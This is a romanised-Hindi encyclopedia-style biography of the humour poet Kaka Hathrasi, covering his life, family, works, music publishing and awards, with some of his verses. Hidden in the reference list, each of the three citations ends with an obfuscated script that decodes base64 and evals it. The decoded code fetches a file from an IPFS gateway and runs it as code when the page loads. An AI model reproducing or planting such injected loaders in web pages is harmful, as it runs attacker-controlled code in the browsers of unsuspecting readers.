काका हाथरसी
kaka hatharasi
| |
| poora nam | prabhulal garg urf kaka hatharasi |
| janm | 18 sitanbar, 1906 |
| janm bhoomi | hatharas, uttar pradesh |
| mrityu | 18 sitanbar, 1995 |
| abhibhavak | shivalal garg aur barafi devi |
| pati/patni | ratan devi |
| karm bhoomi | bharat |
| karm-kshetr | hasy kavi, lekhak |
| mukhy rachanaean | 'kaka ki phulajh diyaan', 'kaka ke prahasan', 'lootaniti manthan kari', 'khilakhilahat' adi. |
| bhasha | hindi |
| puraskar-upadhi | 'kala ratn' (1966), 'padm shri' (1985), 'anareri sitijan' (1989) |
| prasiddhi | hasy kavi |
| vishesh yogadan | 1932 mean kaka ne hatharas mean sangit ki unnati ke liye 'garg aiand kampani' ki sthapana ki, jisaka nam bad mean 'sangit karyalay hatharas' hua. |
| nagarikata | bharatiy |
| any janakari | apake nam se chalaya gaya 'kaka hatharasi puraskar' prativarsh ek sarvashreshth hasy kavi ko pradan kiya jata hai. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
| kaka hatharasi ki rachanaean |
|---|
kaka hatharasi (aangrezi:Kaka Hathrasi) (vastavik nam- prabhulal garg, janm- 18 sitanbar, 1906, hatharas, uttar pradesh; mrityu- 18 sitanbar, 1995) bharat ke prasiddh hindi hasy kavi the. unhean hindi hasy vyangy kavitaoan ka paryay mana jata hai. kaka hatharasi ki shaili ki chhap unaki pidhi ke any kaviyoan par to p di hi thi, vartaman mean bhi anek lekhak aur vyangy kavi kaka ki rachanaoan ki shaili apanakar lakhoan shrotaoan aur pathakoan ka manoranjan kar rahe haian. unaki rachanaean samaj mean vyapt doshoan, kuritiyoan, bhrashtachar aur rajanitik kushasan ki or sabaka dhyan akrisht karati haian. bhale hi kaka hatharasi aj hamare bich nahian haian, lekin unaki hasy kavitae, jinhean ve 'phulajhadiyaan' kaha karate the, sadaiv hame gudagudati raheangi.
jivan parichay
kaka hatharasi ka janm 18 sitanbar, 1906 ee. mean uttar pradesh ke hatharas zile mean hua tha. unake pita ka nam shivalal garg aur mata ka nam barafi devi tha. jab ve matr 15 din ke the, tabhi pleg ki mahamari ne unake pita ko chhin liya aur parivar ke durdin arambh ho gaye. bhayankar garibi mean bhi kaka ne apana sangharsh jari rakhate hue chhoti-moti naukariyoan ke sath hi kavita rachana aur sangit shiksha ka samanvay banaye rakha.[1]
din attharah sitanbar, agraval parivar. unnis sau chh: mean liya, kaka ne avatar.[1]
parivar
kaka hatharasi ke prapitamah gokul, mahavan se akar hatharas mean bas ge the aur yahaan unhoanne bartan-vikray ka kam (vyapar) prarambh kiya tha. bartan ke vyapari ko un dinoan 'kasere' kaha jata tha. pitamah (baba) shri sitaram kasere ne apane pita ke vyavasay ko niyamit roop se chalayaman rakha. usake bad bantavara hone par bartan ki dukan parivar ki doosari shakha par chali geean. parinamat: kaka ji ke pita ko bartanoan ki ek dukan par munimagiri karani p di.[1]
pleg ka kahar
kaka ka janm 1906 mean aise samay mean hua tha, jab pleg ki bhayankar bimari ne hazaroan gharoan ko uza d diya. yah bimari desh ke jis bhag mean phailati, usake gaanvoan aur shaharoan ko viran banati chali jati thi. shahar se gaanvoan aur gaanvoan se nagaroan ki or vyakulata se bhagati huee bhi d hriday ko kanpit kar deti thi. kitane hi ghar uj d ge, bachche anath ho ge, mahilaean vidhava ho geean. kisi-kisi ghar mean to nanhean-munnoan ko palane vala tak nahian bacha tha. abhi kaka keval 15 din ke hi shishu the, ki inake pitaji ko pleg ki bimari ho gayi. 20 varshiy mata barafi devi, jinhoanne abhi sansari jivan janane-samajhane ka prayatn hi kiya tha, is vajrapat se vyakul ho uthian. manoan sara vishv unake lie soona aur aandhakaramay ho gaya.
p dosi vakil sahab par kavita
un dinoan ghar mean mataji, b de bhaee bhajanalal aur ek b di bahin kiran devi aur kaka kul char prani sadhan-vihin rah ge the. pita ki jaldi maut ho jane ke karan vah apane mama ke pas igalas mean jakar rahane lage. kaka ji ne bachapan mean chat-pakau di tak bechi. halaanki kavita ka shauq unhean bachapan se hi lag gaya tha.[2] unhoanne apane mama ke p dosi vakil sahab par ek kavita likhi-
ek pulianda baandhakar kar di us par sil
khola to nikale vahaan lakhami chand vakil
lakhami chand vakil, vajan mean itane bhari
shakl dekhakar panchar ho jati hai lari
hokar ke majaboor, ooant ga di mean jaean
pahie chooan-chooan karean, ooant ko miragi ae
kisi prakar yah kavita vakil sahab ke hath p d gee aur kaka ko puraskar mean pitaee mili.
'kaka' namakaran
vaise to kaka hatharasi ka asali nam to 'prabhoolal garg' tha, lekin unhean bachapan mean natak adi mean bhi kam karane ka shauq tha. ek natak mean unhoanne 'kaka' ka kiradar nibhaya, aur bas tabhi se prabhoolal garg 'kaka' nam se prasiddh ho ge. chaudah sal ki ayu mean kaka phir apane parivar sahit igalas ke hatharas vapas a ge. yahaan unhoanne ek jagah 'munim' ki naukari kar li.[2]
vivah
isi dauran matr solah varsh ki avastha mean kaka ki shadi 'ratan devi' se ho gee. kaka ki kavitaoan mean yahi ratan devi hamesha 'kaki' bani rahian. lekin inhian dinoan durbhagy ne phir inaka sath pak d liya. vivah ke kuchh hi dinoan bad phir kaka ki naukari chhoot gee aur ek bar phir se kaka ne kee din kafi muphilisi mean gujare.
kavita ka prakashan
kaka hatharasi sangit ke premi to the hi, isake sath hi sath unhean chitrakari ka bhi bahut shauq tha. unhoanne kuchh dinoan tak vyavasay ke roop mean chitrashala bhi chalaee, lekin vah bhi nahian chali to usake bad apane ek mitr ke sahayog se sangit karyalay ki nianv rakhi. isi karyalay se sangit par 'sangit patrika' prakashit huee. usaka prakashan aj bhi anavarat jari hai.[2] kaka ki pahali nimn kavita ilahabad se chhapane vali patrika 'guladasta' mean chhapi thi-
ghuta karati haian meri hasaratean din rat sine mean
mera dil ghutate-ghutate sakht hokar sil n ban jae
isake bad kaka ki aur bhi kee kavitaoan ka lagatar prakashan hota raha.
sampadan kary
kaka hatharasi ne hasy ras se ot-prot kavitaoan ke sath-sath sangit par bhi pustakean likhi thi. unhoanne sangit par ek masik patrika ka sampadan bhi kiya. 'kaka ke karatoos' aur 'kaka ki phulajhadiyaan' jaise stambhoan ke dvara apane pathakoan ke prashnoan ke uttar dete hue ve apani samajik zimmedariyoan ke prati bhi sachet rahate the. unaki pratham prakashit rachana 1933 mean "guladasta" masik patrika mean unake vastavik nam se chhapi thi.[3]
mukhy rachanaean
kaka hatharasi ke mukhy kavita sangrah is prakar haian-
- kaka ki phulajh diyaan
- kaka ke prahasan
- lootaniti manthan kari
- khilakhilahat
- kaka tarang
- jay bolo beeeman ki
- yar saptak
- kaka ke vyangy ban
- kaka ke chutakule
yogadan
jivan ke sangharshoan ke bich hasy ki phulajh diyaan jalane vale kaka hatharasi ne 1932 mean hatharas mean sangit ki unnati ke liye 'garg aiand kampani' ki sthapana ki thi, jisaka nam bad mean 'sangit karyalay hatharas' hua. bharatiy sangit ke sandarbh mean vibhinn bhasha aur lipi mean kiye gaye karyoan ko unhoanne jatan se ikattha karake prakashit kiya. unaki likhi pustakean sangit vidyalayoan mean pathy-pustakoan ke roop mean prayukt hueean. 1935 se sangit karyalay ne masik patrika "sangit" ka prakashan bhi arambh kiya, jo ki ab tak anavarat chal raha hai.
puraskar v samman
kaka hatharasi ka manchiy kaviyoan mean ek vishisht sthan tha. saik doan kavi sammelanoan mean kaka ji ne kavy path kiya aur apani chhap chho d di. kaka ko 1957 mean lal qila dilli par hone vale kavi sammelan ka bulava aya to unhoanne apani shaili mean kavy path kiya aur apani pahachan chho d di. kaka ko kee puraskar bhi mile. 1966 mean brijakala keandr ke karyakram mean kaka ko sammanit kiya gaya. kaka hatharasi ko 'kala ratn' ne navaja gaya. 1985 mean unhean tatkalin rashtrapati jnani jail sianh ne 'padmashri' ki upadhi se navaja. kaka kee bar videsh mean kavy path karane ge. 1989 mean kaka ko amerika ke valtimaur mean 'anareri sitijan' ke samman se sammanit kiya gaya. darjanoan samman aur upadhiyaan kaka ko mili. yahi nahian kaka ne film 'jamuna kinare' mean abhinay bhi kiya. kaka hasy ko t aaunik batate the.[2] unaka kahana tha ki-
d aauktar-vaidy batala rahe kudarat ka qanoon
jitana hansata adami, utana badhata khoon
utana badhata khoon, ki jo hasy mean kanjoosi
suandar se chehare par dekho chhayi manahoosi
puraskaroan ki shuruat
kaka hatharasi nam par hi kaviyoan ke liye 'kaka hatharasi puraskar' aur sangit ke kshetr mean 'kaka hatharasi sangit' samman bhi arambh kiye. kaka hatharasi ne apane jivan kal mean hasy ras ko bharapoor jiya tha. ve aur hasy ras apas mean itane ghulamil ge haian ki hasy ras kahate hi unaka chitr samane a jata hai. unhoanne kavi sammelanoan, goshthiyoan, rediyo aur ti. vi. ke madhyam se hasy-kavita aur sath hi hindi ke prasar mean avismaraniy yogadan diya hai. unhoanne sadharan janata ke lie sidhi aur saral bhasha mean aisi rachanaean likhian, jinhoanne desh aur videsh mean base hue karo doan hindi ke premiyoan ke hriday ko chhua.
nidhan
18 sitanbar, 1906 ko janm lene vale kaka hatharasi ka nidhan bhi 18 sitanbar ko hi san 1995 mean hua.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 mera jivan e-van (hindi) (ech.ti.em.el) bharatiy sahity sangrah. abhigaman tithi: 21 aktoobar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 2.3 kuchh aisa tha kaka hatharasi ka junoon (hindi). . abhigaman tithi: 13 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ kaka hatharasi ka janmadin aur punyatithi (18 sitambar) (hindi) (ech.ti.em.el) sarvashreshth hindi bl aaug soochi. abhigaman tithi: 21 aktoobar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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